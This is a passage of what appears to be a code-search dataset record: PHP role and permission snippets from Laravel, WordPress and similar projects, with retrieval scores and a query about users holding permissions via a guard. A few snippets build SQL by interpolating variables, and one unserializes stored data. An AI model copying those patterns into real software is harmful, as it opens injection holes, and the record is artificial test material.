'edit-user';\n// $editUser->display_name = 'Edit Users';\n// $editUser->description = 'edit existing users';\n// $editUser->save();\n\n //给角色添加权限\n// $owner = Role::where('name','admin')->first();\n// $owner->attachPermission(1);\n //另一种写法,多权限\n// $admin = Role::where('name','admin')->first();\n// $admin->perms()->sync([1,2]);\n\n //检查权限角色\n $user = User::find(2);\n//\n// if($user->hasRole('owner')){\n// echo 'yes';\n// }else{\n// echo 'no';\n// }\n\n if($user->hasRole('admin')){\n echo 'yes';\n }else{\n echo 'no';\n }\n if($user->can('edit-user')){\n echo 'yes permission';\n }else{\n echo 'no permission';\n }\n\n// $user->hasRole(['owner', 'admin'], true); //同时具有角色的时候,才显示true\n// $user->can(['edit-user', 'create-post'], true); // false //同时具有多个权限的时候才显示true\n echo \"<br/>\".Auth::user()->name.\"<br/>\";\n if(Auth::user()->can('create-post')){\n echo 'i have perms';\n }else{\n\n echo 'i don.t have';\n }\n }", "public function role(){\n return $this->belongsToMany('App\\Models\\Role','permission_role','permission_id', 'role_id');\n }", "public function performPermission()\n {\n // User Role flags\n // Admin = 20\n // Editor = 40\n // Author = 60 (deprecated)\n // Webuser = 100 (deprecated)\n //\n // Webuser dont have access to edit node data\n //\n if($this->controllerVar['loggedUserRole'] > 40)\n {\n return false;\n }\n\n return true;\n }", "public function assignPermissions(Request $request)\n {\n $request->validate([\n 'role_id' => 'required',\n 'permissionIds' => 'required'\n ]);\n\n $role = Role::find($request->role_id);\n $role->givePermission($request->permissionIds); \n }", "function um_user_can( $permission ) {\r\n\t\t\tif ( ! is_user_logged_in() )\r\n\t\t\t\treturn false;\r\n\r\n\t\t\t$user_id = get_current_user_id();\r\n\t\t\t$role = UM()->roles()->get_priority_user_role( $user_id );\r\n\t\t\t$permissions = $this->role_data( $role );\r\n\r\n\t\t\t/**\r\n\t\t\t * UM hook\r\n\t\t\t *\r\n\t\t\t * @type filter\r\n\t\t\t * @title um_user_permissions_filter\r\n\t\t\t * @description Change User Permissions\r\n\t\t\t * @input_vars\r\n\t\t\t * [{\"var\":\"$permissions\",\"type\":\"array\",\"desc\":\"User Permissions\"},\r\n\t\t\t * {\"var\":\"$user_id\",\"type\":\"int\",\"desc\":\"User ID\"}]\r\n\t\t\t * @change_log\r\n\t\t\t * [\"Since: 2.0\"]\r\n\t\t\t * @usage\r\n\t\t\t * <?php add_filter( 'um_user_permissions_filter', 'function_name', 10, 2 ); ?>\r\n\t\t\t * @example\r\n\t\t\t * <?php\r\n\t\t\t * add_filter( 'um_user_permissions_filter', 'my_user_permissions', 10, 2 );\r\n\t\t\t * function my_user_permissions( $permissions, $user_id ) {\r\n\t\t\t * // your code here\r\n\t\t\t * return $permissions;\r\n\t\t\t * }\r\n\t\t\t * ?>\r\n\t\t\t */\r\n\t\t\t$permissions = apply_filters( 'um_user_permissions_filter', $permissions, $user_id );\r\n\r\n\t\t\tif ( isset( $permissions[ $permission ] ) && is_serialized( $permissions[ $permission ] ) )\r\n\t\t\t\treturn unserialize( $permissions[ $permission ] );\r\n\r\n\t\t\tif ( isset( $permissions[ $permission ] ) && $permissions[ $permission ] == 1 )\r\n\t\t\t\treturn true;\r\n\r\n\t\t\treturn false;\r\n\t\t}", "public function permissions()\n {\n return $this->embedsMany(\n config('laravel-permission.table_names.role_has_permissions')\n );\n }", "public function testPolicyPermissions()\n {\n // User of super admin role always has permission\n $role = factory(\\App\\Models\\Role::class)->make(['name' => 'Admin']);\n $this->roleRepository->create($role);\n $admin = $this->createUser(['role' => $role]);\n $this->assertTrue($admin->isSuperAdmin());\n $this->assertTrue($admin->can('create', User::class));\n\n // User of normal role does not have permission ...\n $user = $this->createUser();\n $this->assertFalse($user->isSuperAdmin());\n $this->assertFalse($user->can('create', User::class));\n $this->assertFalse($user->can('list', User::class));\n\n // ... even if it has module permission ..\n $role = $user->getRole();\n $this->roleRepository->addPermission($role, $this->permissionRepository->findBy('name', 'use-access-module'));\n $this->assertTrue($user->can('access', 'module'));\n $this->assertFalse($user->can('master', 'module'));\n $this->assertFalse($user->can('create', User::class));\n\n // ... until final permission is added\n $this->roleRepository->addPermission($role, $this->permissionRepository->findBy('name', 'user-create'));\n $this->assertTrue($user->can('create', User::class));\n $this->assertFalse($user->can('list', User::class));\n }", "public function testAdminCanAddARole()\n {\n $permission = Permission::where('name', 'view_roles')->first();\n\n $params = [\n 'name' => $this->faker->name(),\n 'permissions' => [$permission->name],\n ];\n\n $response = $this\n ->actingAs($this->admin)\n ->post('/admin/roles', $params);\n\n $response->assertStatus(302);\n $response->assertSessionHasNoErrors();\n $response->assertRedirect('/admin/roles');\n $response->assertSessionHas('success', __('roles.success_create_message'));\n\n $role = Role::where('name', $params['name'])->first();\n $this->assertNotNull($role);\n $this->assertEquals($params['name'], $role->name);\n }", "public function run()\n {\n\n \t// ???\n $role = App\\Role::where('name', 'super')->first();\n\n $role = App\\Role::where('name', 'content')->first();\n $role->addPermission('gallery.create');\n $role->addPermission('gallery.edit');\n $role->addPermission('gallery.delete');\n\n }", "static function access () {\n onapp_debug(__CLASS__.' :: '.__FUNCTION__);\n $return = onapp_has_permission( array( 'roles' ) );\n onapp_debug( 'return => '.$return );\n return $return;\n }", "public function allow($resourceType, $folderPath, $permission, $role);", "public function permissions()\n {\n return $this->belongsToMany(\n config('admin.permission.models.permission'),\n config('admin.permission.table_names.role_has_permissions')\n );\n }", "function role_permission() {\n\t\tif(!has_permission(2)) {\n\t\t\tset_warning_message('Sory you\\'re not allowed to access this page.');\n\t\t\tredirect('admin');\n\t\t\texit;\n\t\t}\n\t\t\n\t\t$this->output_head['function'] = __FUNCTION__;\n\n\t\t$this->output_head['style_extras'] = array(assets_url() . '/plugins/datatables/dataTables.bootstrap.css');\n\t\t$this->output_head['js_extras'] = array(assets_url() . '/plugins/datatables/jquery.dataTables.min.js',\n\t\t\t\t\t\t\t\t\t\t\t\tassets_url() . '/plugins/datatables/dataTables.bootstrap.min.js');\n\t\t$this->output_head['js_function'] = array();\n\t\t$this->load->model('user_model');\n\t\t\n\t\t$this->load->view('global/header', $this->output_head);\n\t\t\n\t\t$this->output_data['title'] = 'Role & Permission Manager';\n\t\t$this->load->view('role_permission', $this->output_data);\n\t\t$this->load->view('global/footer');\n\t}", "public function givePermission($permission);", "public function givePermission($permission);", "public function roles()\n {\n return $this->hasManyThrough(Permission::class);\n }", "public function shouldAttachAllPermissionsToAdminRole()\n {\n Permission::insert([\n ['name' => 'books.read', 'guard_name' => ''],\n ['name' => 'books.create', 'guard_name' => ''],\n ['name' => 'books.delete', 'guard_name' => ''],\n ]);\n\n $this->assertEmpty(Role::first()->permissions);\n\n $this->artisan('authorization:refresh-admin-permissions')->assertExitCode(0);\n\n $this->assertCount(3, Role::first()->permissions);\n }", "function has_permission_to_action_role()\n\t{\n\t\t// intialize response data\n\t\t$jsonData = array('success' => false);\n\t\t$role_creator = $this->input->post('role_creator');\n\t\t$role_id = $this->input->post('role_id');\n\t\t$action = $this->input->post('action');\n\t\tif ($this->permission->has_permission('role', $action)) {\n\t\t\t$jsonData['success'] = true;\n\t\t}\n\t\t// send response to client\n\t\techo json_encode($jsonData);\n\t}", "private function getRolesPermissions()\n {\n return [\n [\n 'name' => 'Roles - List all roles',\n 'description' => 'Allow to list all roles.',\n 'slug' => RolesPolicy::PERMISSION_LIST,\n ],\n [\n 'name' => 'Roles - View a role',\n 'description' => 'Allow to view the role\\'s details.',\n 'slug' => RolesPolicy::PERMISSION_SHOW,\n ],\n [\n 'name' => 'Roles - Add/Create a role',\n 'description' => 'Allow to create a new role.',\n 'slug' => RolesPolicy::PERMISSION_CREATE,\n ],\n [\n 'name' => 'Roles - Edit/Update a role',\n 'description' => 'Allow to update a role.',\n 'slug' => RolesPolicy::PERMISSION_UPDATE,\n ],\n [\n 'name' => 'Roles - Delete a role',\n 'description' => 'Allow to delete a role.',\n 'slug' => RolesPolicy::PERMISSION_DELETE,\n ],\n ];\n }", "public function updateRolePermissions()\n\t{\n\t\t$input = Input::all();\n\n\t\tforeach ($input['permissions'] as $role => $permissions) {\n\t\t\tRole::whereName($role)->first()->perms()->sync($permissions);\n\t\t}\n\n\t\treturn Redirect::route('role.permissions.edit')\n\t\t\t\t\t\t\t->with('message', 'Successfully updated role permissions')\n\t\t\t\t\t\t\t->with('alert-class', 'success');\n\t}", "public function roles()\r\n {\r\n return $this->belongsToMany(config('bootstrap-menu.models.role'), config('bootstrap-menu.relations.permission_role'))->withTimestamps();\r\n }", "public function isAllowed($resourceType, $folderPath, $permission, $role = null);", "function role_add_permission($role_id, $permission_id, $allow = 1) {\n\t\t$this->db->insert('system_security.security_role_permission', array('role_id' => $role_id, 'permission_id' => $permission_id, 'allow_deny' => $allow));\n\t\treturn $this->db->insert_id();\n\t}", "public function roles(): BelongsToMany\n {\n return $this->belongsToMany(\n Config::get('laratrust.models.role'),\n Config::get('laratrust.tables.permission_role'),\n Config::get('laratrust.foreign_keys.permission'),\n Config::get('laratrust.foreign_keys.role')\n );\n }", "public function actionPermissions()\n\t{\n\t\t$dataProvider = new RPermissionDataProvider('permissions',array(\n\t\t\t\t'pagination'=>array(\n\t\t\t\t\t\t'pageSize'=>5,\n\t\t\t\t),\n\t\t));\n\t\t// Get the roles from the data provider\n\t\t$roles = $dataProvider->getRoles();\n\t\t$roleColumnWidth = $roles!==array() ? 75/count($roles) : 0;\n\n\t\t// Initialize the columns\n\t\t$columns = array(\n\t\t\tarray(\n \t\t\t'name'=>'description',\n\t \t\t'header'=>Rights::t('core', 'Item'),\n\t\t\t\t'type'=>'raw',\n \t\t\t'htmlOptions'=>array(\n \t\t\t\t'class'=>'permission-column',\n \t\t\t\t'style'=>'width:25%',\n\t \t\t),\n \t\t),\n\t\t);\n\n\t\t// Add a column for each role\n \tforeach( $roles as $roleName=>$role )\n \t{\n \t\t$columns[] = array(\n\t\t\t\t'name'=>strtolower($roleName),\n \t\t\t'header'=>$role->getNameText(),\n \t\t\t'type'=>'raw',\n \t\t\t'htmlOptions'=>array(\n \t\t\t\t'class'=>'role-column',\n \t\t\t\t'style'=>'width:'.$roleColumnWidth.'%',\n \t\t\t),\n \t\t);\n\t\t}\n\n\t\t$view = 'permissions';\n\t\t$params = array(\n\t\t\t'dataProvider'=>$dataProvider,\n\t\t\t'columns'=>$columns,\n\t\t);\n\n\t\t// Render the view\n\t\tisset($_POST['ajax'])===true ? $this->renderPartial($view, $params) : $this->render($view, $params);\n\t}", "public function permissions()\n {\n return $this->belongsToMany('bedoke\\LaravelRolePerms\\Models\\Permission', 'role_permissions')\n ->withPivot('id')\n ->withTimestamps();\n }", "public function hasRole($name);", "public function permissionToRole(Request $request)\n {\n try \n {\n $permission_id = $request->input('permission_id');\n $role_id = $request->input('role_id');\n \n $permission = Permission::find($permission_id);\n $role = Role::find($role_id);\n\n if(null == $permission || null == $role)\n {\n return response()->json([], self::STATUS_NOT_FOUND);\n }\n\n $role->givePermissionTo($permission);\n\n $this->_response = ['message' => trans('permissions.associated_permission')];\n } \n catch (Exception $e) \n {\n //Write error in log\n Log::error($e->getMessage() . ' line: ' . $e->getLine() . ' file: ' . $e->getFile());\n return response()->json([], self::STATUS_INTERNAL_SERVER_ERROR);\n }\n\n return response()->json($this->_response, self::STATUS_OK);\n }", "public function permissions();", "public function permissions();", "public function permissions();", "public function permissions();", "public function permissions();", "public function editRolePermissions()\n\t{\n\t\t$roles = Role::all()->load('perms');\n\t\t$permissions = Permission::all();\n\n\t\treturn View::make('users.role-permissions', compact('roles', 'permissions', 'rolePermissions'));\n\t}", "public function roles();", "public function roles();", "public function roles();", "public function roles();", "public function index($id = null)\n {\n if (is_null($id)) {\n redirect('/roles');\n }\n\n // permissions restrictions are the same as for roles\n $this->checkPermission('roles', 'edit');\n\n // check if role exists\n $this->db->where('id', $id);\n $q = $this->db->get('roles');\n if ($q->num_rows() <= 0) {\n redirect('/roles');\n }\n $role = $q->result()[0];\n\n // form was submitted\n if (\n isset($_SERVER['REQUEST_METHOD']) &&\n $_SERVER['REQUEST_METHOD'] == 'POST'\n ) {\n $this->db->delete('rights', ['role_id' => $id]);\n\n foreach ($this->input->post('permissions') as $name => $values) {\n if (!array_key_exists($name, $this->permissions)) {\n continue;\n }\n $this->db->insert('rights', [\n 'role_id' => $id,\n 'name' => $name,\n 'show' =>\n (\n array_key_exists('show', $values) &&\n $this->permissions[$name]->show\n )\n ? 1\n : 0,\n 'add' =>\n (array_key_exists('add', $values) && $this->permissions[$name]->add)\n ? 1\n : 0,\n 'edit' =>\n (\n array_key_exists('edit', $values) &&\n $this->permissions[$name]->edit\n )\n ? 1\n : 0,\n 'delete' =>\n (\n array_key_exists('delete', $values) &&\n $this->permissions[$name]->delete\n )\n ? 1\n : 0\n ]);\n }\n\n $this->writeLog(\n 'update',\n 'rights',\n ['permissions' => $this->input->post('permissions'), 'role_id' => $id],\n $id\n );\n\n $this->session->set_flashdata(\n 'success',\n \"Les permissions de ce rôle ont bien été modifiées avec succès !\"\n );\n\n redirect('/roles');\n }\n\n // get current role permissions\n $this->db->where('role_id', $id);\n $permissions = $this->db->get('rights')->result();\n\n foreach ($permissions as $permission) {\n if (!array_key_exists($permission->name, $this->permissions)) {\n continue;\n }\n if ($permission->show == 1) {\n $this->permissions[$permission->name]->checked[] = 'show';\n }\n if ($permission->add == 1) {\n $this->permissions[$permission->name]->checked[] = 'add';\n }\n if ($permission->edit == 1) {\n $this->permissions[$permission->name]->checked[] = 'edit';\n }\n if ($permission->delete == 1) {\n $this->permissions[$permission->name]->checked[] = 'delete';\n }\n }\n\n $this->view('permissions', [\n 'role' => $role,\n 'permissions' => $this->permissions\n ]);\n }", "function rolePermissionFactory()\n {\n return [\n 'factory'=>(new JbRolePermission)\n ];\n }", "public function roles(): BelongsToMany\n {\n return $this->belongsToMany(\n config('acl.models.role'),\n config('acl.table_names.role_has_permissions')\n );\n }", "public function authorize()\n {\n $user = Auth::user();\n\n if(!$user->can('update-role')) {\n return false;\n }\n\n return true;\n }", "public function roles_protected() {\n return true;\n }", "function add_manager_role()\n{\n add_role('manager', __(\n 'Manager'),\n array(\n 'read' => true, // Allows a user to read\n 'create_posts' => true, // Allows user to create new posts\n 'edit_posts' => true, // Allows user to edit their own posts\n )\n );\n}", "protected function _addRoleResources() {\n if (!empty($this->commonPermission)) {\n foreach ($this->commonPermission as $resource => $permissions) {\n foreach ($permissions as $permission) {\n $this->allow(self::DEFAULT_ROLE, $resource, $permission);\n }\n }\n }\n\n if (!empty($this->rolePermission)) {\n foreach ($this->rolePermission as $rolePermissions) {\n $this->allow($rolePermissions['role_name'], $rolePermissions['resource_name'], $rolePermissions['permission_name']);\n }\n }\n\n return $this;\n }", "public function authorize() {\n\t\treturn $this->user()->hasPermission('edit.roles');\n\t}", "public function fakePermissionRole($permission_roles_arr = [])\n {\n return new PermissionRole($this->fakePermissionRoleData($permission_roles_arr));\n }", "public function permissions()\n {\n \t// belongsTo(RelatedModel, foreignKey = _id, keyOnRelatedModel = id)\n \treturn $this->belongsToMany('App\\Permission','permission_role','role_id','permission_id')->withTimestamps();\n }", "public function authorize()\n {\n return auth()->user()->can('role@create') || auth()->user()->can('role@edit');\n }", "public function permissions(): BelongsToMany\n {\n return $this->belongsToMany(\n HCAclPermission::class,\n 'hc_acl_role_permission_connection',\n 'role_id',\n 'permission_id'\n );\n }", "public function perms() {\n return $this->belongsToMany(config('entrust.permission'), config('entrust.permission_role_table'), 'role_id', 'permission_id');\n }", "public function run()\n {\n App\\Role::find(1)->attachPermission(1);\n App\\Role::find(1)->attachPermission(2);\n App\\Role::find(1)->attachPermission(3);\n }", "public function getPermissionsViaRole()\n {\n return $this->roles->map(function (Role $role) {\n return $role->getAllPermissions();\n })->flatten();\n }", "public function setRole() {\n\n $res= $_POST['link']->query(\"SELECT t2.perm_name FROM role_perm as t1\n JOIN permissions as t2 ON t1.perm_id = t2.perm_id\n WHERE t1.role_id = $this->rol_id\");\n\n\n foreach($res as $item)\n $this->role_perm[]= $item['perm_name'];\n }", "public function role(){\n $obj = $this->hasMany(UserRole::class,'user_id','id')\n ->join('role', 'role.id', '=', 'role_id')->with('permissions');\n return $obj;\n }", "public function permissions()\n {\n return $this->belongsToMany(EloquentTestPermission::class, 'permission_roles', 'role_id', 'permission_id');\n }", "public function permissions(Role $role)\n {\n $this->authorize('manage_permissions', Role::class);\n\n return view('laralum_roles::permissions', ['permissions' => Permission::all(), 'role' => $role]);\n }", "public function rolesForUser();", "public function setRole($role);", "function get_role_permission($role_id) {\n\t\t$sql = \"SELECT p.*, rp.entry_id, rp.allow_deny \"\n\t\t\t. \"FROM system_security.security_permission p \"\n\t\t\t. \"LEFT JOIN system_security.security_role_permission rp ON(rp.permission_id = p.permission_id AND rp.role_id = $role_id) \"\n\t\t\t. \"ORDER BY p.permission_id\";\n\t\treturn $this->db->query($sql);\n\t}", "public function providePermissions()\n {\n $category = EcommerceConfig::get(EcommerceRole::class, 'permission_category');\n $perms[EcommerceConfig::get(EcommerceRole::class, 'customer_permission_code')] = [\n 'name' => _t(\n 'EcommerceRole.CUSTOMER_PERMISSION_ANME',\n 'Customers'\n ),\n 'category' => $category,\n 'help' => _t(\n 'EcommerceRole.CUSTOMERS_HELP',\n 'Customer Permissions (usually very little)'\n ),\n 'sort' => 98,\n ];\n $perms[EcommerceConfig::get(EcommerceRole::class, 'admin_permission_code')] = [\n 'name' => EcommerceConfig::get(EcommerceRole::class, 'admin_role_title'),\n 'category' => $category,\n 'help' => _t(\n 'EcommerceRole.ADMINISTRATORS_HELP',\n 'Store Manager - can edit everything to do with the e-commerce application.'\n ),\n 'sort' => 99,\n ];\n $perms[EcommerceConfig::get(EcommerceRole::class, 'assistant_permission_code')] = [\n 'name' => EcommerceConfig::get(EcommerceRole::class, 'assistant_role_title'),\n 'category' => $category,\n 'help' => _t(\n 'EcommerceRole.STORE_ASSISTANTS_HELP',\n 'Store Assistant - can only view sales details and makes notes about orders'\n ),\n 'sort' => 100,\n ];\n $perms[EcommerceConfig::get(EcommerceRole::class, 'process_orders_permission_code')] = [\n 'name' => _t(\n 'EcommerceRole.PROCESS_ORDERS_PERMISSION_NAME',\n 'Can process orders'\n ),\n 'category' => $category,\n 'help' => _t(\n 'EcommerceRole.PROCESS_ORDERS_PERMISSION_HELP',\n 'Can the user progress orders through the order steps (e.g. dispatch orders)'\n ),\n 'sort' => 101,\n ];\n\n return $perms;\n }", "public function getPermissions(Roleable $resource = null);", "public function permissionAction()\n {\n $actionRow = new Admin_Model_DbRow_Action($this->dbAction->find($this->checkActionIdParam()));\n $ctrlRow = new Admin_Model_DbRow_Controller($this->dbController->find($actionRow->get('mcId')));\n $dbRoles = new Admin_Model_DbTable_Acl_Role();\n $dbRules = new Admin_Model_DbTable_Acl_Rule();\n $roles = array();\n $rules = array();\n $allowRules = array();\n $denyRules = array();\n\n FOREACH($dbRoles->fetchActiveRoles() AS $row) {\n $roles[] = new Admin_Model_DbRow_Role($row);\n }\n\n FOREACH($dbRules->fetchRulesForAction($actionRow->get('id')) AS $row) {\n $rules[] = new Admin_Model_DbRow_Rule($row);\n }\n\n FOREACH($rules AS $rule) {\n IF($rule->get('rule') === Admin_Model_DbTable_Acl_Rule::RULE_DB_ALLOW) {\n $allowRules[] = $rule->get('roleId');\n } ELSEIF($rule->get('rule') === Admin_Model_DbTable_Acl_Rule::RULE_DB_DENY) {\n $denyRules[] = $rule->get('roleId');\n }\n }\n\n $form = new Admin_Form_Action_Permission($ctrlRow, $actionRow, $roles, $allowRules, $denyRules);\n $form->setAction('/noc/admin/action/permission');\n\n IF($this->getRequest()->isPost()) {\n IF($form->isValid($this->getRequest()->getParams()) && $form->hasPermissionCollision($this->getRequest()) === FALSE) {\n\n $dbRules->deleteByActionId($actionRow->get('id'));\n\n $allow = (array) $form->getElement('rolesallow')->getValue();\n $deny = (array) $form->getElement('rolesdeny')->getValue();\n\n FOREACH($allow AS $roleId) {\n $dbRules->addRule($ctrlRow->get('id'), $actionRow->get('id'), $roleId, Admin_Model_DbTable_Acl_Rule::RULE_DB_ALLOW);\n }\n\n FOREACH($deny AS $roleId) {\n $dbRules->addRule($ctrlRow->get('id'), $actionRow->get('id'), $roleId, Admin_Model_DbTable_Acl_Rule::RULE_DB_DENY);\n }\n $this->_redirect(sprintf('admin/action/index/control/%d/id/%d', $ctrlRow->get('id'), $actionRow->get('id')));\n } ELSE {\n $form->addError('Mindestens eine Rolle wurde der Zugriff erlaubt und verweigert.');\n }\n }\n\n $this->view->form = $form;\n $this->view->controller = $ctrlRow;\n }", "public function can($permission, $requireAll = false);", "public function permissions()\n {\n return $this->belongsToMany('Bican\\Roles\\Permission');\n }", "public function allowToPermission(Role $role, Permission $permission)\n {\n $this->authorize('update', $role);\n $role->allowTo($permission);\n return $role->permissions;\n }", "static public function add()\n {\n add_role(\n self::ROLE_KEY, \n self::ROLE_NAME, \n [\n 'read' => true,\n 'edit_posts' => true, \n 'upload_files' => false,\n 'edit_others_posts' => true, //a tester a false\n\n 'edit_exercices' => true,\n 'publish_exercices' => false,\n 'read_exercice' => true,\n 'delete_exercice' => true,\n //'delete_exercices' => true,\n 'edit_others_exercices' => false,\n 'delete_others_exercices' => false,\n 'edit_exercice' => true,\n\n 'edit_lessons' => true,\n 'publish_lessons' => true,\n 'read_lesson' => true,\n 'delete_lesson' => true,\n 'edit_others_lessons' => false,\n 'delete_others_lessons' => false,\n 'edit_lesson' => true,\n\n 'manage_arts' => false,\n 'edit_arts' => false,\n 'delete_arts' => false,\n 'assign_arts' => true, \n ]\n\n );\n }", "public function run()\n {\n $clients = Permission::where('name', 'like', '%clients%')->get()->toArray();\n $corporations = Permission::where('name', 'like', '%corporations%')->get()->toArray();\n $jobs = Permission::where('name', 'like', '%jobs%')->get()->toArray();\n $users = Permission::where('name', 'like', '%users%')->get()->toArray();\n $tags = Permission::where('name', 'like', '%tags%')->get()->toArray();\n\n \\tecai\\Models\\System\\Role::create([\n 'name' => 'root',\n 'display_name' => 'Super Admin',\n 'description' => 'the root account,Super Admin'\n ]);\n\n $roleAdmin = \\tecai\\Models\\System\\Role::create([\n 'name' => 'admin',\n 'display_name' => 'platform Admin',\n 'description' => 'the guy to admin the platform'\n ]);\n $this->attachPermission($roleAdmin, $clients, $corporations, $jobs, $users, $tags);\n\n\n $roleLegaler = \\tecai\\Models\\System\\Role::create([\n 'name' => 'legaler',\n 'display_name' => 'corporation-legaler',\n 'description' => 'the corporation legal person'\n ]);\n $this->attachPermission($roleLegaler, $corporations, $jobs, $users, $tags);\n\n $roleStaff = \\tecai\\Models\\System\\Role::create([\n 'name' => 'staff',\n 'display_name' => 'corporation-staff',\n 'description' => 'the corporation staff'\n ]);\n $this->attachPermission($roleStaff, $corporations, $jobs, $users, $tags);\n\n }", "function getSystemPermission($name) {\n \t$role = $this->getRole();\n if(instance_of($role, 'Role')) {\n return (boolean) $role->getPermissionValue($name);\n } else {\n return false;\n } // if\n }" ]
[ "0.7233755", "0.7043851", "0.69574887", "0.6742393", "0.6712083", "0.6708421", "0.67081785", "0.65921795", "0.6576244", "0.65503764", "0.6516745", "0.65055305", "0.6488422", "0.64789796", "0.64589304", "0.64539313", "0.64522886", "0.6446971", "0.6436558", "0.6426338", "0.6413258", "0.63893986", "0.6370874", "0.6362565", "0.6359984", "0.631663", "0.63079226", "0.62880296", "0.62859917", "0.6285129", "0.62813324", "0.628074", "0.6255905", "0.625548", "0.6253678", "0.6252758", "0.62468266", "0.6236686", "0.6216296", "0.62155235", "0.6209776", "0.6198313", "0.61806554", "0.61690146", "0.6167201", "0.6167201", "0.6156352", "0.6142757", "0.6141179", "0.61396116", "0.613846", "0.6121369", "0.6121145", "0.6119728", "0.61171395", "0.6115971", "0.61142606", "0.61085063", "0.6105239", "0.6105237", "0.6105237", "0.6105237", "0.6105237", "0.6105237", "0.610092", "0.60961694", "0.60961694", "0.60961694", "0.60961694", "0.6095032", "0.60950154", "0.60847276", "0.6080785", "0.60807", "0.6061263", "0.6055832", "0.6055218", "0.60539025", "0.60537803", "0.6045615", "0.6039738", "0.6037955", "0.6035267", "0.6025932", "0.6023756", "0.60151213", "0.6013808", "0.6006893", "0.5999368", "0.59986264", "0.5988455", "0.59778136", "0.5974647", "0.5970422", "0.5958093", "0.5949954", "0.594357", "0.5942415", "0.5934952", "0.59345365" ]
0.6073143
74
A permission belongs to some users of the model associated with its guard.
public function users(): MorphToMany { return $this->morphedByMany( getModelForGuard($this->attributes['guard_name']), 'model', config('permission.table_names.model_has_permissions'), 'rbac_permission_id', 'model_id' ); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function isGranted($userOrId, $permission);", "public function userPermission()\n {\n return $this->hasMany('App\\SYS\\SUserPermission');\n }", "public function permissions() {\n return $this->hasOne('App\\Models\\UserPermission', 'user_id');\n }", "function isAllowed($user, $resource = IAuthorizator::ALL, $privilege = IAuthorizator::ALL, $id);", "public function permissions()\n {\n return $this->hasMany(UserPermission::class);\n }", "public function perms()\n {\n return $this->belongsToMany(Config::get('guardian.permission'), Config::get('guardian.permission_role_table'), Config::get('guardian.role_foreign_key'), Config::get('guardian.permission_foreign_key'));\n }", "public function users(): MorphToMany\n {\n return $this->morphedByMany(\n getModelForGuard($this->attributes['guard_name']),\n 'model',\n config('acl.table_names.model_has_permissions'),\n 'permission_id',\n 'model_id'\n );\n }", "public function testPolicyPermissions()\n {\n // User of super admin role always has permission\n $role = factory(\\App\\Models\\Role::class)->make(['name' => 'Admin']);\n $this->roleRepository->create($role);\n $admin = $this->createUser(['role' => $role]);\n $this->assertTrue($admin->isSuperAdmin());\n $this->assertTrue($admin->can('create', User::class));\n\n // User of normal role does not have permission ...\n $user = $this->createUser();\n $this->assertFalse($user->isSuperAdmin());\n $this->assertFalse($user->can('create', User::class));\n $this->assertFalse($user->can('list', User::class));\n\n // ... even if it has module permission ..\n $role = $user->getRole();\n $this->roleRepository->addPermission($role, $this->permissionRepository->findBy('name', 'use-access-module'));\n $this->assertTrue($user->can('access', 'module'));\n $this->assertFalse($user->can('master', 'module'));\n $this->assertFalse($user->can('create', User::class));\n\n // ... until final permission is added\n $this->roleRepository->addPermission($role, $this->permissionRepository->findBy('name', 'user-create'));\n $this->assertTrue($user->can('create', User::class));\n $this->assertFalse($user->can('list', User::class));\n }", "public function can($permission);", "public function userPermissions()\n\t{\n\t\treturn $this->belongsToMany('Regulus\\Identify\\Models\\Permission', Auth::getTableName('user_permissions'))\n\t\t\t->withTimestamps()\n\t\t\t->orderBy('display_order')\n\t\t\t->orderBy('name');\n\t}", "public function permission($permission);", "public function permission()\n {\n return $this->belongsTo('\\\\Neoflow\\\\CMS\\\\Model\\\\PermissionModel', 'permission_id');\n }", "public function permissions()\n\t{\n\t\treturn $this->belongsToMany(Permission::class, 'users_permissions');\n\t}", "public function store(StoreRequest $request)\n{\n $AgentPermission=Permission::where('name','like','%Order%')->get();\n\n $user = User::create([\n 'name' => $request->name,\n 'email' => $request->email,\n 'password'=>Hash::make($request->password),\n 'password_confirmation'=>Hash::make($request->password_confirmation),\n 'mobile'=>$request->mobile,\n 'work'=>$request->work,\n 'is_agent'=>'1'\n ]);\n\n $user->assignRole([3]);\n\n foreach($AgentPermission as $a)\n {\n $user->givePermissionTo($a->id);\n\n }\n\n return $user;\n}", "public function permissions()\n {\n return $this->belongsToMany(\n config('laravel-authorisation.models.permission'),\n config('laravel-authorisation.table_names.role_has_permissions')\n );\n }", "public function users() {\n return $this->belongsToMany(\n config('auth.model') ? : config('auth.providers.users.model'), \n null,\n config('cani.collections.user_permissions_propertie') . '_id'\n );\n }", "public function isOwnedBy(UserInterface $user);", "public function permission(){\n return $this->belongsToMany(Permission::class);\n }", "public static function hf_user_permission() {\n $current_user = wp_get_current_user();\n $current_user->roles = apply_filters('hf_add_user_roles', $current_user->roles);\n $current_user->roles = array_unique($current_user->roles);\n $user_ok = false;\n\n $wf_roles = apply_filters('hf_user_permission_roles', array('administrator', 'shop_manager'));\n if ($current_user instanceof WP_User) {\n $can_users = array_intersect($wf_roles, $current_user->roles);\n if (!empty($can_users)) {\n $user_ok = true;\n }\n }\n return $user_ok;\n }", "public static function hf_user_permission() {\n $current_user = wp_get_current_user();\n $current_user->roles = apply_filters('hf_add_user_roles', $current_user->roles);\n $current_user->roles = array_unique($current_user->roles);\n $user_ok = false;\n\n $wf_roles = apply_filters('hf_user_permission_roles', array('administrator', 'shop_manager'));\n if ($current_user instanceof WP_User) {\n $can_users = array_intersect($wf_roles, $current_user->roles);\n if (!empty($can_users)) {\n $user_ok = true;\n }\n }\n return $user_ok;\n }", "public static function hf_user_permission() {\n $current_user = wp_get_current_user();\n $current_user->roles = apply_filters('hf_add_user_roles', $current_user->roles);\n $current_user->roles = array_unique($current_user->roles);\n $user_ok = false;\n\n $wf_roles = apply_filters('hf_user_permission_roles', array('administrator', 'shop_manager'));\n if ($current_user instanceof WP_User) {\n $can_users = array_intersect($wf_roles, $current_user->roles);\n if (!empty($can_users)) {\n $user_ok = true;\n }\n }\n return $user_ok;\n }", "public static function hf_user_permission() {\n $current_user = wp_get_current_user();\n $current_user->roles = apply_filters('hf_add_user_roles', $current_user->roles);\n $current_user->roles = array_unique($current_user->roles);\n $user_ok = false;\n\n $wf_roles = apply_filters('hf_user_permission_roles', array('administrator', 'shop_manager'));\n if ($current_user instanceof WP_User) {\n $can_users = array_intersect($wf_roles, $current_user->roles);\n if (!empty($can_users)) {\n $user_ok = true;\n }\n }\n return $user_ok;\n }", "public function permissionGroup()\n {\n return $this->belongsToMany(config('roles.models.permission'))->withTimestamps();\n }", "public function groupPermission()\n {\n return $this->hasOne(ViewPermissionGrup::class, 'groupid', 'groupid');\n }", "public function authorize()\n 